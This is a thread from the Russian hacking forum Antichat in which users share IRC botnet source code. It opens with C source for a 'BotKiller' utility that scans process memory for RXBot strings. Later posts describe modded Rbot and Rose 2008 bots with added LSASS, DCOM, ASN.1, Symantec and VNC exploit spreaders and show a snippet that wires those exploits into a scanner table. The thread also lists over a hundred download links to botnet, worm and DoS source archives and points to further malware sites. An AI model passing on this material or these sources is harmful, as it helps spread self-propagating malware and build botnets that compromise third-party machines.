Форум АНТИЧАТ - Bots / Source-Codes

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Bots / Source-Codes (https://forum.antichat.xyz/showthread.php?t=46102)

Bots / Source-Codes

BotKiller by a59

Код:

/*

         BotKiller

        Coded by a59

*/

#include <windows.h>

#include <stdio.h>

#include <tlhelp32.h>



void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 );

void KillBot( PROCESSENTRY32 pe32 );



struct s_Search

{

   char* szBot;

   char* szString;

};



s_Search sSearch[ ] =

{

   { "VNC Scanning Bot", "\x52\x46\x42\x20\x30\x30\x33\x2E\x30\x30\x38\x0A" },

   { "RXBot", "[MAIN]" },

   { "RXBot", "[SCAN]" },

   { "RXBot", "[FTP]" },

   { "Unknown", "&echo bye" },

   { NULL, NULL }

};



void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 )

{

   char szBigBuffer[ 0x5000 ] = { 0 };

   unsigned char Curbuf[ 0x500 ] = { 0 };



   HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );



   printf( "Scanning PID: %d [ %s ]\nStart Address: 0x%08X End Address: 0x%08X\n\n", pe32.th32ProcessID, pe32.szExeFile, uStartAddr, uEndAddr );

   

   for( unsigned long uCurAddr = uStartAddr; uCurAddr <= uEndAddr; uCurAddr++ )

   {

      BOOL bRead = ReadProcessMemory( hProcess, (void *)uCurAddr, (void *)&Curbuf, sizeof( Curbuf ), NULL );

     

      if( bRead )

      {

         int c = 0;



         strcat( szBigBuffer, (char *)Curbuf );         



         while( sSearch[ c ].szString != NULL )

         {

            if( strstr( szBigBuffer, sSearch[ c ].szString ) )

            {

               printf( "Found string \"%s\" in \"%s\" bot \"%s\"\n\n", sSearch[ c ].szString, pe32.szExeFile, sSearch[ c ].szBot );

               KillBot( pe32 );               

            }



            c++;

         }



         if( sizeof( szBigBuffer ) > 0x150 )

            ZeroMemory( szBigBuffer, sizeof( szBigBuffer ) );

      }

     

      if( !bRead )

         break;

   }



   CloseHandle( hProcess );

};



void KillBot( PROCESSENTRY32 pe32 )

{

   MODULEENTRY32 me32 = { 0 };

   HANDLE hPath = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, pe32.th32ProcessID );

   HANDLE hKillProcess;



   me32.dwSize = sizeof( me32 );



   BOOL bRetval = Module32First( hPath, &me32 );

   

   while( bRetval )

   {

      if( !strcmp( pe32.szExeFile, me32.szModule ) )

      {

         SetFileAttributes( me32.szExePath, FILE_ATTRIBUTE_NORMAL );



         hKillProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );

         TerminateProcess( hKillProcess, 0 );



         Sleep( 500 );



         if( DeleteFile( me32.szExePath ) )

            printf( "Terminated and deleted %s\n", me32.szExePath );         

      }



      bRetval = Module32Next( hPath, &me32 );

   }   



   CloseHandle( hKillProcess );

   CloseHandle( hPath );

};



int main( )

{

   char szFile[ 128 ];

   GetModuleFileName( GetModuleHandle( NULL ), szFile, sizeof( szFile ) );



   char* szBlockList[ ] = { "explorer.exe", "hidserv.exe", "WINLOGON.EXE", "SERVICES.EXE", szFile };     

   HANDLE hProcess = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

   PROCESSENTRY32 pe32;



   pe32.dwSize = sizeof( PROCESSENTRY32 );



   BOOL bRetval = Process32First( hProcess, &pe32 );

   bool bDoSearch = true;



   while( bRetval )

   {

      Sleep( 250 );



      for( int i = 0; i < ( sizeof( szBlockList ) / sizeof( char* ) ); i++ )

      {

         if( strstr( szBlockList[ i ], pe32.szExeFile ) )

            bDoSearch = false;

      }



      if( bDoSearch )

      {

         DoSearch( 0x00400000, 0x004FFFFF, pe32 );

         DoSearch( 0x00100000 ,0x001FFFFF, pe32 );

      }

     

      else

         bDoSearch = true;



      bRetval = Process32Next( hProcess, &pe32 );

   }



   CloseHandle( hProcess );



   printf( "Done scanning, press ENTER to exit this program.\n" );



   getchar( );



   return 0;

};

Rbot-Smod

Код:

/*



Modded Rbot (version 0.2.1) by S (credit goes to rbotdev team for creating this bot, and racerx90 for warning fix)



-fixed warnings // thx to racerx90

-fixed regstart // so it doesnt hang on reboot

-added more ntpasses //

-added Csendfilemsg // taken from rbot2.2 shows which share is exploitet.

-added dameware (test) // removed

-added mydoom (test) // have no idea if the source wrks.

-added more ntshares (experimental) // should get me 1 or 2 bots more Wink



Coming up.



-netcommandmodule // racerx90 did it again

-dcom // if know how to

-dameware // if i can find the source needed.



*/

Download
http://rapidshare.com/files/17062314/rbot-smod.rar

Код:

Programmed by: PrinceAli

Language: Delphi

Release Date: 04/11/2004

Description:

Advanced IRC bot with a lot of features. In beta stage. Read the help.chm for the features.

http://rapidshare.com/files/46929348/nuclearbot10beta1.zip
http://rapidshare.com/files/46930082/nuclearBot.rar

[b]Kaiten.c.Bot[b/]

Цитата:

/*
#############################################
# #
# Rose 2008 QuickFix. #
# So Far: #
# Removed SYN #
# Removed DCOM #
# Removed LSASS #
# Added VNC #
# Added SCANALL #
# Added SYM #
# Removed TASKHIDER #
# WORK IN PROGRESS... #
# IRC.BLUEHELL.ORG - IRC.BLUEHELL.ORG #
# #x0 #x0 #x0 #x0 #x0 #x0 #x0 #x0 #x0 #
# #
#############################################

http://rapidshare.com/files/20556964/Rose_2008.rar

Add this to advscan.cpp

Код:

 #ifndef NO_MS04007ASN1

    { "asn1smb",    "asn1smb", 445, MS04_007_MSASN1_PortedByScriptGod, 0, FALSE, TRUE },

    { "asn1smbnt",  "asn1smbnt",139, MS04_007_MSASN1_PortedByScriptGod, 0, FALSE, TRUE },

    #endif

   #ifndef NO_SYM06010

   {"sym", "sym", 2967, SYMExploit, 0, TRUE, TRUE},

   #endif

   #ifndef NO_VNC

    {"vnc", "vnc", 5900, VNCExploit, 0, FALSE, FALSE},

    #endif

http://rapidshare.com/files/19840994/Rose_2008_Exploits.rar.html

Смысл выкладывать по одному?
http://securitydot.net/exploits/index.php?dir=bots/

http://rapidshare.com/files/52835354/Rose_2008.rar
http://rapidshare.com/files/52836063/zunker.rar
http://rapidshare.com/files/52836081/gsys3_final.zip
http://rapidshare.com/files/52836106/h4x0rb0t_2.0_gt_edition.zip
http://rapidshare.com/files/52836110/q8bot.zip
http://rapidshare.com/files/52836234/rxbot_0.65.zip
http://rapidshare.com/files/52836409/sd_bot_all.zip
http://rapidshare.com/files/52836447/spybot_1.2c.zip
http://rapidshare.com/files/52836511/spybot_1.3m.zip
http://rapidshare.com/files/52836571/spybot_1.4.zip
http://rapidshare.com/files/52836606/tgspy_nt.zip
http://rapidshare.com/files/52836638/vbbot.zip
http://rapidshare.com/files/52836670/wisdom.zip
http://rapidshare.com/files/52837065/_sHk-Bot.svchost-ns-dev.NOT-FOR-RELEASE_.rar
http://rapidshare.com/files/52837286/bBot-Version_0.6.rar
http://rapidshare.com/files/52837430/BlowSXT.rar
http://rapidshare.com/files/52837462/bmw.rar
http://rapidshare.com/files/52837471/Brainbot_v1.5.zip
http://rapidshare.com/files/52837610/ciscobawt.rar
http://rapidshare.com/files/52837950/Crackbot_v1.4b-final_spin.zip
http://rapidshare.com/files/52838058/Crx-realmbot_VNC_exploit.rar
http://rapidshare.com/files/52838136/CYBERBOTv2.2-Stable.m0dd_ownz.DreamWoRK.rar
http://rapidshare.com/files/52838409/Darkness.last.mod.rar
http://rapidshare.com/files/52838488/dopebot.rar
http://rapidshare.com/files/52838593/dopebot_current.rar
http://rapidshare.com/files/52838764/drx_realcast_woopie.rar
http://rapidshare.com/files/52839155/ForBot____sniffer__other_mods-_ch405_.rar
http://rapidshare.com/files/52840566/ForBot_Olin-SYM-VNC-NETAPI-All_The_Public_Shit.rar
http://rapidshare.com/files/52840572/fxBot_beta_.rar
http://rapidshare.com/files/52840627/Gellbot_3.rar
http://rapidshare.com/files/52841090/GENTOOreptile-base.rar
http://rapidshare.com/files/52841321/g-spotv2.0.rar
http://rapidshare.com/files/52841686/gt.zip
http://rapidshare.com/files/52841920/gt-badteam.rar
http://rapidshare.com/files/52841936/gtbot-hackersteam.zip
http://rapidshare.com/files/52841977/gtsev-spreader_2_.rar
http://rapidshare.com/files/52842027/gtsev-spreader.rar
http://rapidshare.com/files/52842487/gt-virtualslut.rar
http://rapidshare.com/files/52842765/H-Bot_M0d_3.0_M0dd3d_by_TH___Sculay.rar
http://rapidshare.com/files/52842810/hellbot10-06-05.rar
http://rapidshare.com/files/52842901/IHS-H-A-V003-Exploits.zip
http://rapidshare.com/files/52843170/iis-gt-bot.rar
http://rapidshare.com/files/52843273/InTeL_m0dd-Test101-ms0640.rar
http://rapidshare.com/files/52843363/irbot0.15.rar
http://rapidshare.com/files/52843408/IrcWormv1.3-SourceCode.zip
http://rapidshare.com/files/52844568/IrINi_bot_0.1_public_limited_version_for_win32.rar
http://rapidshare.com/files/52844948/italian.zip
http://rapidshare.com/files/52845113/JRBOT_Modded_By__bloody_.rar
http://rapidshare.com/files/52845177/litmus2-bot_2_.rar
http://rapidshare.com/files/52845236/litmus2-bot.rar
http://rapidshare.com/files/52845315/M0LdBotv1.0-small.rar
http://rapidshare.com/files/52845448/mm0d_asn_.rar
http://rapidshare.com/files/52845604/mmodbasn.rar
http://rapidshare.com/files/52845663/MSITBotWin.rar
http://rapidshare.com/files/52845796/mystic-Urx.rar
http://rapidshare.com/files/52845929/mystic-Urx_Fixed_by_Pr1muz.rar
http://rapidshare.com/files/52846023/nesebot1.1r-ASN-PNP.rar
http://rapidshare.com/files/52846144/nesebot1.2.rar
http://rapidshare.com/files/52846279/Netapi.Prueb-Norman.2oo6.Prif-Jessi-Off.rar
http://rapidshare.com/files/52846415/New_NZM_netapi_bot.rar
http://rapidshare.com/files/52846446/NtScan-rbot.rar
http://rapidshare.com/files/52846659/nzm_priv_shit.rar
http://rapidshare.com/files/52846786/nzmlite_symantec___.rar
http://rapidshare.com/files/52846822/oscar.rar
http://rapidshare.com/files/52846830/php_bot.rar
http://rapidshare.com/files/52846983/plague.gecko.netapi.rar
http://rapidshare.com/files/52847104/private_enzyme_rxmod_04-04-05.rar
http://rapidshare.com/files/52847250/prv_nzm-rx.sp2fix.rcast.rar
http://rapidshare.com/files/52847358/r00t3d.asn.ftp.lsass.by.Morgan.rar
http://rapidshare.com/files/52847571/rbot_netapi_vnc_ipswitch.rar
http://rapidshare.com/files/52847611/rbot-LC-Priv8.rar
http://rapidshare.com/files/52847791/rBot-sxt-harro.rar
http://rapidshare.com/files/52847896/rBotv0.6.6-privlsass.rar
http://rapidshare.com/files/52847937/rnm5b.rar
http://rapidshare.com/files/52847984/RNM5-Priv-Pr1muZ.rar
http://rapidshare.com/files/52848075/Rose_v1.3_2007_by_DreamWoRK.rar
http://rapidshare.com/files/52848163/Ruffbot1.2-MassAsnPrivShit-150705.rar
http://rapidshare.com/files/52848374/Ruffbotv2.rar
http://rapidshare.com/files/52848463/rx-14-09-06_Netapi_doyley.rar
http://rapidshare.com/files/52848709/rx_dev_service_working_lsass_sasser_ftpd.rar
http://rapidshare.com/files/52848869/Rx_Temptation.rar
http://rapidshare.com/files/52849034/rx-asn-2-re-worked_v2.rar
http://rapidshare.com/files/52849219/rx-asn-2-re-worked_v3.rar
http://rapidshare.com/files/52849439/RXB__tM__d-VNC-NETAPI-ASN-2006.rar
http://rapidshare.com/files/52849760/rxbot7.5.rar
http://rapidshare.com/files/52849925/rxbot2006.rar
http://rapidshare.com/files/52850260/rxBot_v0.7.7_Sass.rar
http://rapidshare.com/files/52850393/Rxbot_7.6-Modded-Tr0gdor_2_.rar
http://rapidshare.com/files/52850526/Rxbot_7.6-Modded-Tr0gdor.rar
http://rapidshare.com/files/52850644/rxbot_undertow-6-6-05ASN.rar
http://rapidshare.com/files/52850725/rxbot_undertow-6-10-05.rar
http://rapidshare.com/files/52850857/rxbot-EcLiPsE-cReW-1.1.priv.rar
http://rapidshare.com/files/52851010/RxBot-MP.rar
http://rapidshare.com/files/52851093/RXBOT-RevengE2005pnp.rar
http://rapidshare.com/files/52851227/rx-sky2kpnpprivate.rar
http://rapidshare.com/files/52851269/SBX.amk.0x00.rar
http://rapidshare.com/files/52851317/sdbot05b_skbot__mods_by_sketch.rar
http://rapidshare.com/files/52851337/sdbot05b-AE.zip
http://rapidshare.com/files/52851544/Sdbot_Hardcore_Mod_By_StOner.zip
http://rapidshare.com/files/52851581/SDBOTNTSharesHardCorePrivM0D.rar
http://rapidshare.com/files/52851826/SDNB.sirh0t.FiXED.PNP.ASN.rar
http://rapidshare.com/files/52851889/sdnbbot_sp2mod_wks_kelvir.rar
http://rapidshare.com/files/52851983/skatan-bot.rar
http://rapidshare.com/files/52852117/SkuZ-Netapi.rar
http://rapidshare.com/files/52852198/spybot1.4.zip
http://rapidshare.com/files/52852223/spybot2nd.rar
http://rapidshare.com/files/52852264/spybot_1.3m.zip
http://rapidshare.com/files/52852412/srbot.rar
http://rapidshare.com/files/52852449/stubos-public.zip
http://rapidshare.com/files/52852591/symn.rar
http://rapidshare.com/files/52852593/SynDoS1.1.zip
http://rapidshare.com/files/52852739/uber-wks-asn-m0dded-Pr1v_2_.rar
http://rapidshare.com/files/52852969/uber-wks-asn-m0dded-Pr1v_3_.rar
http://rapidshare.com/files/52853119/uber-wks-asn-m0dded-Pr1v.rar
http://rapidshare.com/files/52853255/Urxbot.pRiV-sKull.MoD-ASN_FTP_WORKING.rar
http://rapidshare.com/files/52853364/URX-pnp-asn.rar
http://rapidshare.com/files/52853396/wisdom_phr0st_modd.zip
http://rapidshare.com/files/52853436/xerion2.5.rar
http://rapidshare.com/files/52853475/xTBot.0.0.2-priv.rar

nice collection,thx... btw

u can find more bots also here:

Код:

http://www.botcu.net/index.html

Код:

http://exy.hu/

Код:

http://bot-dlbaze.extra.hu/

Код:

http://vx.netlux.org

Код:

http://to0l-base.de/

;)

На каком то сайте я видел эту базу ботов гдето пару месяцев назад. Российского производства ботов нету чтото ) типа Dkcs и Illusion )

В инете подобную базу криптеров встречал. (но там не все есть исходники), кому нужно пишите в PM дам линк, а то тут такое размещать правила запрещают )

предлагаю прикрепить, чтоб не утонуло